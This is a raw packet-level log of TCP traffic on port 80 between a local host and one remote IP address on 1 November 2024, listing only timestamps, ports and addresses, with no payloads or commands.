Nov 1, 2024 05:53:09.413248062 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413258076 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413270950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413280964 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413297892 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413315058 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413424015 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413434982 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413444996 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413460970 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413467884 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413496971 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413572073 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413578987 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413613081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413630962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413641930 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413650990 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413661957 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413677931 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413697958 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413786888 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413805008 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413815022 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413825035 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.413831949 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413870096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.413919926 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414046049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414057970 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414067030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414079905 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414089918 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414100885 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414112091 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414144039 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414351940 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414362907 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414374113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414385080 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414395094 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414407969 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414411068 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414423943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414433956 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414438009 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414447069 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414454937 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414504051 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414680004 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414726019 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414736032 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414748907 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414767027 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414796114 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414894104 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414906025 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414916039 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.414958954 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.414974928 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.454556942 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454595089 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454605103 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454622984 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.454638958 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.454778910 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454790115 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454799891 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454812050 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454821110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.454827070 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.454869986 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455015898 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455065012 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455177069 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455188036 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455198050 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455210924 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455220938 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455225945 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455239058 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455250978 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455251932 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455271006 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455300093 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455509901 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455554008 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455616951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455626965 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455636024 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455646992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455657005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455663919 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455667973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455708027 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455719948 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455892086 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455900908 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.455930948 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.455943108 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456043005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456053019 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456062078 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456073046 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456082106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456091881 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456095934 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456104994 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456116915 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456134081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456155062 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456413984 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456435919 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456445932 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456456900 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456471920 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456486940 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456666946 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456676006 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456686020 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456696033 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456707001 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456882954 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456882954 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.456923008 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456933022 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456974030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.456984997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.457012892 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.457021952 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.457062960 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.470479965 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470535994 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470546961 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470642090 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.470676899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470716953 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470736027 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470786095 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.470834017 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.470834017 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.470834017 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.470873117 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471551895 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471561909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471571922 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471602917 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471630096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471637011 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471683979 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471714973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471724987 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471735001 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471764088 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471791983 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471910954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471923113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471931934 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.471966982 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.471990108 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472067118 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472076893 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472115040 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472158909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472170115 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472178936 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472207069 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472233057 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472538948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472548962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472569942 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472593069 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472609997 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472621918 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472650051 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472666025 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472712040 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.472755909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472765923 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.472809076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473032951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473078966 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473090887 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473104000 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473140955 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473242998 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473254919 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473265886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473289013 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473320007 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473454952 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473467112 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473476887 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473503113 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473516941 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473670006 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473680973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473691940 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473704100 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473714113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473714113 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473750114 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473897934 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473907948 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473942041 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.473973036 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.473983049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474020958 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474348068 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474391937 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474411964 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474423885 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474455118 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474476099 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474487066 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474526882 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474586010 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474633932 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474652052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474698067 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474742889 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474755049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474764109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474788904 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474817991 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.474886894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.474936008 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475059986 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475105047 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475135088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475147009 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475183010 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475320101 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475368023 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475383997 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475397110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475431919 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475464106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475475073 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475514889 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475565910 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475578070 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475611925 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.475634098 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.475677967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476365089 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476416111 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476428986 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476438999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476475000 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476495028 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476512909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476541996 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476566076 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476569891 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476614952 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476644039 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476656914 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476691961 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476726055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476768970 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476818085 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476828098 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476838112 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476850033 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476860046 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.476866007 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.476897001 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477025986 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477037907 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477046967 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477076054 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477096081 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477138996 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477149010 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477186918 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477196932 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477205992 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477238894 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477715969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477761030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477772951 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477797985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477802038 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477838993 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477874041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477886915 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477921009 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.477950096 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.477993965 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.478035927 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478046894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478056908 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478068113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478085995 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.478200912 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.478204966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478215933 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478252888 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.478283882 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478296041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478327990 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.478373051 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478383064 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.478435993 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.525726080 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525743008 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525759935 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525775909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525788069 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525798082 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.525841951 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.525876999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525926113 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.525984049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.525995970 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526005983 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526016951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526041985 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526070118 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526251078 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526262999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526273012 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526283026 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526297092 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526333094 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526386023 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526403904 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526415110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526437998 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526463985 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526568890 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526618004 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526640892 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526652098 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526685953 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526726007 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526771069 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:09.526786089 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:09.526797056 CET	80	49950	185.215.113.16	192.168.2.5
